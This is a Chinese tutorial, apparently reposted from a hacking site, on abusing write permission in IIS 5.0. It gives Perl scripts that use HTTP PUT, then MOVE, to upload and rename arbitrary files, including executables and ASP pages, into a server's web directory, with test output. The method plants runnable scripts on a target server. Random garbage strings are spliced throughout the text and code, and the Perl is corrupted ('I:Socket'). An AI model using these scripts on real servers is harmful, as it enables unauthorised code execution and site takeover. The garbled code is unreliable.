对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

& D& ?" t4 X, J( v: Y( c

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

* K; l7 a7 p6 `" t

写权限

; i1 i$ S7 M9 B- z: V8 F

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

PUT /dir/my_file.txt HTTP/1.1 - j b0 K) u7 v- }Host: iis-server ; ~3 \9 A2 N5 ?' t, _" JContent-Length: 10

+ r g. B8 V, i# R% X/ E# g2 g

　　这时服务器会返回一个100( 继续)的信息：

8 O7 w( N7 i' x+ _

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 . A0 V6 }7 P* g) cDate: Thu, 28 Feb 2002 15:56:00 GMT

　　接着，我们输入10个字母：

AAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 6 ?- ^ o( c5 J% ZDate: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt Content-Length: 0 Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, - }, D* b1 R. p3 r' UPROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

PUT /dir/my_file.txt HTTP/1.1 : f# \$ P' E O% }! ]4 mHost: iis-server Content-Length: 10

x$ `9 z! ~/ f" R6 c& ]1 v) ~

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 　　Host：是HTTP请求的发送地址 / L3 A! b; Y8 E3 {8 c　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

* z4 l& n4 d4 w& e; T! ^

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

a4 A& [+ w2 r; c! s' l

7 m7 `1 a4 W2 m S9 A* a . A) M" u+ u/ N" z$ F

#!/usr/bin/perl use I:Socket; / w- ^/ W2 L% H8 r1 {$ARGC = @ARGV;

if ($ARGC != 4) { 　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 4 T5 C' d: Y1 m　　exit; . u# _5 R2 I+ k( i; i} $host = @ARGV[0]; / j6 e0 b' u$ I/ Q/ U! M$port = @ARGV[1]; $file = @ARGV[2]; $path = @ARGV[3];

2 ^: o4 J; @% y0 b- }# I6 n( {

@s=stat("$file"); 9 q4 k% `, p0 e+ G% Q! M- x8 v$size = $s[7]; #得到文件大小 " k g! Y6 Q1 Jprint "$file size is $size bytes\n";

. T/ n d& b- x8 @+ J/ m6 I+ x

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, 2 y2 z) f/ H% R9 VPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path HTTP/1.1\n"; 9 X$ ^9 A9 p9 d, m( E7 s8 Rprint $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; #sock连接

( p9 D) r: [' s9 h! ^

open(FILE,"$file"); * P; u% s) T5 j, Sbinmode(FILE); #用2进制打开文件

- N: v* k2 p% i4 U" O0 h+ Q

while (read(FILE,$char,1024)) { #读取文件数据上传 　　print $sock "$char"; } print $sock "\n\n"; $ ^# s7 G7 x" k* g- s( ?+ f' E0 @' b* \@req = <$sock>; : \0 k: U5 j: v8 E9 ~* o" jprint "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ 2 S g+ O$ V8 m! |　　print "upfile Succeed!!!" ; #成功显示 ( b, ]( B; ?3 j; K6 y% g} ' k, T k/ L+ S, y. a+ oelse{ % b; F9 \7 M) o# z- Z　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 8 J2 x$ J7 M7 d3 K: t} close $sock; ; {+ i- |: J5 cclose FILE;

7 r; ^8 Z+ e$ N

　　下面我们测试下：

0 `% N# }0 J& G( d

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt kaka.txt size is 14 bytes / E* X! r: k& C) M& \9 |! |* q; }please wait... upfile Succeed!!!

C:\Inetpub\Scripts>dir kaka.txt " V) S, }5 r4 R( s0 X! R, |* ~驱动器 C 中的卷没有标签。 : Y$ I% @4 Y0 [卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt 1 个文件 14 字节 # @4 t1 E; {% K) M% Q, Q: }8 q0 个目录 3,871,080,448 可用字节

) e; w6 q, r/ v8 V6 [" m

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

* F( N0 f1 Q# I* [9 C$ W- u8 S1 p

; m: z$ u( V$ i4 n' L5 M' }! n A 3 p. L3 b' `7 K. k* l/ t0 Q3 l2 Z

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe - `4 T; ^; |9 e; O/ _perl.exe size is 20535 bytes . k ~( }0 v- O7 }: ~% g2 F( Dplease wait... ' s( J1 m4 e! ?1 W, tupfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe % O! M% k8 t, N% F, Z+ ?驱动器 C 中的卷没有标签。 ) I+ z1 i) V- [+ t& b. n" q卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 0 个目录 3,871,031,296 可用字节

$ _, s% [( \3 r: j; x# i2 }5 {

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

6 L* t7 v, z4 k& d

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp kaka.asp size is 4 bytes please wait... 3 Q* j H9 {+ @4 dupfile faile!!!

, t2 W9 h1 F. m6 \ P9 L3 F* i

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 ' I1 J% K, ?2 H, R7 b: Z& Q) X) sDate: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden 5 W' `% F g) n( ]+ C$ CServer: Microsoft-IIS/5.0 9 u1 w: Y: C; G& ~ a: i/ I: I7 FDate: Tue, 04 May 2004 16:45:51 GMT Connection: close 5 \' |) K' q' l% ~+ U. N+ a* Q* nContent-Type: text/html ! A$ r+ g* h4 X% ]! OContent-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

) p; o& h( r0 c; j$ a# H/ J

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

. F, r$ I) Y! T S" ^7 Q

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

4 u6 _, z3 G# h W& _ ) X2 g! |1 o2 k4 Q& `( ?( [8 P2 o

D:\>nc 127.0.0.1 80 * h5 _0 R, d+ N0 {: o) R4 m9 F8 CMOVE /scripts/kaka.txt HTTP/1.1 " V" U. q: v6 BHost:127.0.0.1 ' U7 _! z i- x) ~Destination: http://127.0.0.1/scripts/kaka.asp

. ~/ b- k. M* n0 `

HTTP/1.1 201 Created / r' \5 o. O0 s; K& I+ l4 a/ U4 ZServer: Microsoft-IIS/5.0 Date: Sun, 05 Oct 2003 09:30:59 GMT 4 k; P% i) |, A2 e' U$ J$ }Location: http://127.0.0.1/scripts/x.asp Content-Type: text/xml 7 o" R [% s T3 {0 iContent-Length: 0

4 P% E3 t: }, P- e! {$ y. M

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

% a1 P8 B# N$ D: I. @ s0 _

　　测试写asp成功：

/ Q: i5 W+ z4 ^

) G1 R+ {7 H9 M# h4 b: m

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ************************************************************ 4 M2 A! C7 Z2 _& X7 P/ g. C& X1 dkaka.asp size is 4 bytes : }) A( E% d% }/ _8 y0 x; gplease wait... ! I' i1 S! z! Z! Jupfile Succeed!!! 4 g1 i8 L9 f& D$ G m6 DModifyfile Succeed!!!

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

{# X4 w- ?8 x$ F) j* ?7 G

#!/usr/bin/perl & L1 z5 E0 [, E1 }" b! m9 ]/ B1 I#The iiswrite Script

use I:Socket; $ARGC = @ARGV; - u7 P0 S, O. w. c _( y; H: Iprint "*" x 60; 5 v$ C9 _$ C) c$ w/ T/ N" ^) B8 [, F) g4 V0 Aprint "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; ( m- n j* P4 Z3 Q1 I& R" L3 [print "*" x 60,"\n"; ' W. _9 u1 |% O A- hif ($ARGC != 4) { . O5 I. ?. c; `! b. |5 T) U5 `5 F　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 8 d/ y$ N4 y! w8 W　　exit; } 6 P" v( k8 L: l* s) {$ A! E$host = @ARGV[0]; $port = @ARGV[1]; 3 M( m( A% ]: [2 |$path = @ARGV[3]; * ]6 w. Y/ c( V1 B* p$file = @ARGV[2];

* H, {: }2 ^2 P7 O( N

@path=split("/",$path); L. K1 J1 S3 r2 {# }" a$any = pop(@path); $path1=join("/",@path); 9 @& O4 G8 a4 a& }) N0 y) u) y) r@s=stat("$file"); $size = $s[7];

7 q: O) Z: K2 p& ]# x8 O

print "$file size is $size bytes\n"; 6 j- m" }( N- [: W7 o$ Mmy $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; * n. o1 W' C( o3 W9 k/ m2 Cprint $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; open(FILE,"$file")|| die "Can't open $file"; - u3 s: q5 R3 H& s$ ?7 g$ kbinmode(FILE); while (read(FILE,$char,1024)) { 　　print $sock "$char"; ( [( _# B. ]' E- l% v: V1 m} print $sock "\n\n"; @req = <$sock>; . N/ L3 `2 S% F5 S( P( I. Wprint "please wait...\n"; * [; }4 V A X# s" t/ h+ Asleep(2); if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!\n" ; 6 }% H9 O+ m, a% d} else{ 　　print "upfile faile!!!\n"; ; y+ P8 h# d* C) j: O} 5 s+ o) J! E5 k! q0 x0 Kclose $sock; 8 \& w& A( c3 s0 _4 eclose FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", " i% V3 n! g" {1 K2 y9 E' V y! pPeerAddr =>$host, 1 \- l' r0 z7 I+ M& o) VPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 0 U4 M* _. l# v+ C$ ^print $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; , b6 Z' n9 `0 q# P' Aprint $sock "Destination:http://$hostport$path\n\n\n\n"; @req = <$sock>; % v/ H1 t" H( p) h( [* R# b) i; X: Sif ($req[0]=~/20\d+|/){ 　　print "Modifyfile Succeed!!!" ; 5 I0 Z t/ V5 w7 K. U5 u4 G+ i} else{ $ c8 H1 [: D+ D3 A( I　　print "upfile faile!!!"; $ S4 G. Y4 L* b- ?5 z) D} ! }- l# g4 n$ I4 e% i! b9 dclose $sock